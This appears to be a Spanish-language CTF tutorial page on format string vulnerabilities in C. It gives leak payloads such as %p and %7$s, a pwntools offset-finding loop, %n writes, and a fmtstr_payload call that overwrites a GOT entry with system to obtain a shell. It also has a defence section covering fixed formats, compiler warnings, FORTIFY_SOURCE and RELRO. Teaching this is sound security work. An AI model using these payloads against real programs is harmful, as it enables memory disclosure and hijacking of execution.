Format string
Las vulnerabilidades de cadena de formato ocurren cuando un programa pasa datos controlados por el atacante directamente como cadena de formato a funciones como printf, en vez de usar un formato fijo. Es decir, printf(user) en lugar de printf("%s", user). Como los especificadores de formato (%x, %s, %n) leen y escriben en memoria, el atacante que controla la cadena puede filtrar memoria (leer el stack, direcciones, el canary) y, con %n, escribir en memoria arbitraria.
El fallo
Sección titulada «El fallo»# VULNERABLE: el usuario controla la cadena de formatoprintf(user_input);# CORRECTO: formato fijo, el usuario es solo un argumentoprintf("%s", user_input);Si metes %x %x %x como entrada, printf los interpreta como especificadores y vuelca valores del stack que no existían como argumentos.
Lectura de memoria (leak)
Sección titulada «Lectura de memoria (leak)»# volcar valores del stack%x %x %x %x ... # valores en hex%p %p %p %p # como punteros (mejor en 64 bits)# acceso posicional directo (el N-ésimo argumento)%7$p # el 7º valor del stack# leer una cadena en una dirección%s # lee la cadena apuntada (puede crashear si no es válida)%7$s # la cadena apuntada por el 7º argumentoUsos: filtrar el canary (bypass del stack protector), filtrar direcciones de libc/PIE (bypass ASLR), leer la flag si está en memoria.
# pwntools: encontrar el offset de tu entrada en el stackfrom pwn import *for i in range(1,20): p = process('./vuln'); p.sendline(f'AAAA%{i}$p'.encode()) print(i, p.recvline()) # cuando veas 41414141/0x41414141, ese es tu offsetEscritura de memoria (%n)
Sección titulada «Escritura de memoria (%n)»%n escribe en la dirección apuntada el número de bytes impresos hasta ese momento. Controlando cuántos bytes se imprimen (con ancho de campo, %100c) y la dirección objetivo, escribes valores arbitrarios:
%n escribe un int (4 bytes) %hn escribe un short (2 bytes) %hhn 1 byte# técnica: controlar el conteo con %<N>c y el destino con un puntero en el stackCon escritura arbitraria puedes: sobrescribir una entrada de la GOT (ver GOT/PLT overwrite) para redirigir una función a system, cambiar una variable de control, o sobrescribir la dirección de retorno.
pwntools lo automatiza
Sección titulada «pwntools lo automatiza»from pwn import *# fmtstr_payload calcula el payload para escribir {direccion: valor}payload = fmtstr_payload(offset, {got_printf: addr_system})p.sendline(payload)fmtstr_payload(offset, {dir: valor}) genera automáticamente la cadena de formato que escribe valor en dir, dado el offset de tu entrada.
Estrategia típica de exploit
Sección titulada «Estrategia típica de exploit»1. Confirmar la vulnerabilidad (meter %p %p y ver si vuelca el stack)2. Encontrar el offset de tu entrada (%N$p hasta ver tu marcador)3. LEAK: filtrar canary, libc y/o PIE (bypass de mitigaciones)4. WRITE (%n / fmtstr_payload): sobrescribir GOT / retaddr -> redirigir a system/one_gadget5. ShellPara la defensa
Sección titulada «Para la defensa»- Usar siempre un formato fijo:
printf("%s", x), nuncaprintf(x). Igual confprintf,sprintf,syslog, etc. - Compilar con warnings (
-Wformat -Wformat-security): el compilador avisa de formatos no constantes. - FORTIFY_SOURCE limita
%nen cadenas de formato en memoria escribible; Full RELRO protege la GOT. - Revisión de código / SAST para detectar formatos controlados por el usuario.
Checklist de prueba
Sección titulada «Checklist de prueba»- Confirmar format string (%p %p vuelca el stack)
- Encontrar el offset de tu entrada (%N$p)
- Leak: canary, libc, PIE (bypass mitigaciones)
- Escritura arbitraria con %n / fmtstr_payload
- Sobrescribir GOT (GOT/PLT overwrite) o retaddr → system
- Encadenar leak + write en el mismo exploit
- Shell/flag en local → remoto
- Blue: ¿formato fijo, RELRO, FORTIFY?